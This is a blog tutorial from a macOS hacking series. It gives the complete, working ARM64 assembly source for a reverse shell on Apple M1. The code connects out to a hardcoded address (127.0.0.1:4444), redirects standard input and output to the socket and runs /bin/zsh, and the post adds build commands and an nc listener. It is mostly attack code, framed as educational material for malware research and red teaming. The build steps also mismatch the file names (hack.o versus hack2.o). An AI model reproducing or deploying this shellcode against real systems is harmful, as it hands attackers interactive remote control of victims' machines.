MacOS hacking part 12: reverse shell for ARM (M1). Simple Assembly (M1) example
﷽
Hello, cybersecurity enthusiasts and white hackers!

In the previous post, our bind shell for M1 worked flawlessly. But when you switch from bind() to connect(), suddenly nothing happens.
Same syscalls, same logic - but connect silently fails. Why?
Because Darwin (BSD) cares about how you pack your sockaddr_in:
sin_len, big-endian port, and stable address pointers. Miss one byte - and the syscall collapses.
few words about bind and reverse shell in ARM M1
So, in the other words, the bind-shell we already have works because it avoids two fragile things: a remote address and precise byte layout. Binding to INADDR_ANY is forgiving. Connecting requires a 16-byte struct sockaddr_in with a correct sin_len, sin_family, network-order port, and a pointer that survives relocations. On Darwin (BSD) sin_len is not optional; endianness mistakes silently break connect. Also, building the structure in registers with many movk/lsl operations is brittle across pages and relocations - use .data + adrp/add for a predictable pointer. That’s the practical rule you’ll see repeated in this post.
practical example
Let’s create simple reverse shell. Start in _main (or _start if you link differently). The code uses BSD syscall numbers that matched our working bind example: 97 for socket, 98 for connect, 90 for dup2, 59 for execve. These syscalls expect conventional arm64 argument/return behavior: x0..x7 for args, x0 for return.
So, we start as usual, open a TCP socket with socket(AF_INET, SOCK_STREAM, 0):
; create socket: socket(AF_INET, SOCK_STREAM, 0)
mov x0, #2
mov x1, #1
mov x2, xzr
mov x16, #97
svc #0xffff
; check result in x0 (>=0)
cmp x0, #0
blt _exit_fail
; save socket fd
mov x19, x0
BSD uses syscall 97 for socket. Return value in x0 - negative means error. Store the socket FD in x19, which is callee-saved and safe across syscalls.
Then we need to prepare sockaddr_in. This is where most connect PoCs die. On Linux you can omit sin_len; on macOS you can’t. The structure must be exactly 16 bytes:

We place it directly in .data, not on the stack:
.data
sockaddr_in:
.byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
.text
and reference it safely with ADRP/ADD:
; prepare pointer to sockaddr_in (use adrp/add)
adrp x1, sockaddr_in@PAGE
add x1, x1, sockaddr_in@PAGEOFF
mov x2, #16 ; sizeof(struct sockaddr_in)
That gives a reloc-safe pointer to the structure, even if code and data land on different pages.
Then for connecting to the listener, we neede to call connect(sockfd, addr, len):
; connect(sockfd, addr, addrlen)
mov x0, x19
mov x16, #98 ; bsd syscall: connect (98)
svc #0xffff
cmp x0, #0
blt _exit_fail
this connection logic returns 0 on success. If you forgot sin_len or mixed endian on the port, it fails silently. For example, typical lab error: writing 0x5C11 instead of 0x115C.
Once connected, all we need is I/O redirection:
; redirect stderr/stdout/stdin -> socket using dup2
; dup2(sock, 2)
mov x0, x19
mov x1, #2
mov x16, #90
svc #0xffff
; dup2(sock, 1)
mov x0, x19
mov x1, #1
; x16 already 90, but set again for clarity
mov x16, #90
svc #0xffff
; dup2(sock, 0)
mov x0, x19
mov x1, #0
mov x16, #90
svc #0xffff
After these three syscalls, stdin/out/err point to the network socket. Anything typed in the listener appears here.
Finally, launch the shell: build /bin/zsh on the stack and call execve:
; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
; push path
mov x3, #0x622f ; "/b"
movk x3, #0x6e69, lsl#16 ; "in"
movk x3, #0x7a2f, lsl#32 ; "/z"
movk x3, #0x6873, lsl#48 ; "sh"
stp x3, xzr, [sp, #-16]! ; "/bin/zsh\0"
; argv = { path, NULL }
add x0, sp, xzr ; x0 = pointer to path
stp x0, xzr, [sp, #-16]! ; push argv array
add x1, sp, xzr ; x1 = argv
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve (bsd syscall 59)
svc #0xffff
If execve succeeds, this process image is replaced by zsh. If it returns, something broke, and we exit.
_exit_fail:
mov x0, #1
bl _exit
So, full source code looks like this hack.s:
; hack.s
; apple M1 ARM reverse shell
; author: cocomelonc
; https://cocomelonc.github.io/macos/2025/10/15/malware-mac-12.html
.text
.global _start
.align 2
.section __TEXT,__text
; sockaddr_in for 127.0.0.1:4444
; memory layout (little-endian):
; sin_len (1), sin_family (1), sin_port (2 BE), sin_addr (4), sin_zero[8]
.data
sockaddr_in:
.byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
.text
_start:
; create socket: socket(AF_INET, SOCK_STREAM, 0)
mov x0, #2
mov x1, #1
mov x2, xzr
mov x16, #97
svc #0xffff
; check result in x0 (>=0)
cmp x0, #0
blt _exit_fail
; save socket fd
mov x19, x0
; prepare pointer to sockaddr_in (use adrp/add)
adrp x1, sockaddr_in@PAGE
add x1, x1, sockaddr_in@PAGEOFF
mov x2, #16 ; address length
; connect(sockfd, addr, addrlen)
mov x0, x19
mov x16, #98 ; bsd syscall: connect (98)
svc #0xffff
cmp x0, #0
blt _exit_fail
; redirect stderr/stdout/stdin -> socket using dup2
; dup2(sock, 2)
mov x0, x19
mov x1, #2
mov x16, #90
svc #0xffff
; dup2(sock, 1)
mov x0, x19
mov x1, #1
; x16 already 90, but set again for clarity
mov x16, #90
svc #0xffff
; dup2(sock, 0)
mov x0, x19
mov x1, #0
mov x16, #90
svc #0xffff
; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
; push path
mov x3, #0x622f ; "/b"
movk x3, #0x6e69, lsl#16 ; "in"
movk x3, #0x7a2f, lsl#32 ; "/z"
movk x3, #0x6873, lsl#48 ; "sh"
stp x3, xzr, [sp, #-16]! ; "/bin/zsh\0"
; argv = { path, NULL }
add x0, sp, xzr ; x0 = pointer to path
stp x0, xzr, [sp, #-16]! ; push argv array
add x1, sp, xzr ; x1 = argv
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve (bsd syscall 59)
svc #0xffff
;if execve returns -> exit
_exit_fail:
mov x0, #1
mov x16, #1 ; exit syscall wrapper via libc _exit may differ
; we call _exit via symbol below
; call libc _exit to be safe
bl _exit
demo
Let’s go to see this in action. Compile:
as -arch arm64 hack.s -o hack.o

then link:
ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

Then run listener in the first terminal:
nc -l -p 4444

Then run in the another:
./hack

As you can see, when the connection succeeds, you get an interactive zsh prompt inside nc.
Everything is worked perfectly as expected! =^..^=
conclusion
Reverse shells are the oldest trick in the offensive programming and malware dev. They appear in post-exploitation toolkits and stagers everywhere - from old Metasploit payloads to modern Cobalt Strike and Sliver beacons. The core pattern is always the same:
connect, dup2 then execve("/bin/sh").
Of course, this isn’t a “perfect” reverse shell, but it’s functional and understandable. It can be further developed at your discretion. I might return to this in future posts.
I hope that this post is useful for malware R&D, shellcode development, and red teaming labs, Apple/Mac researchers and as always, for blue team specialists.
macOS hacking part 1
macOS hacking part 11
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine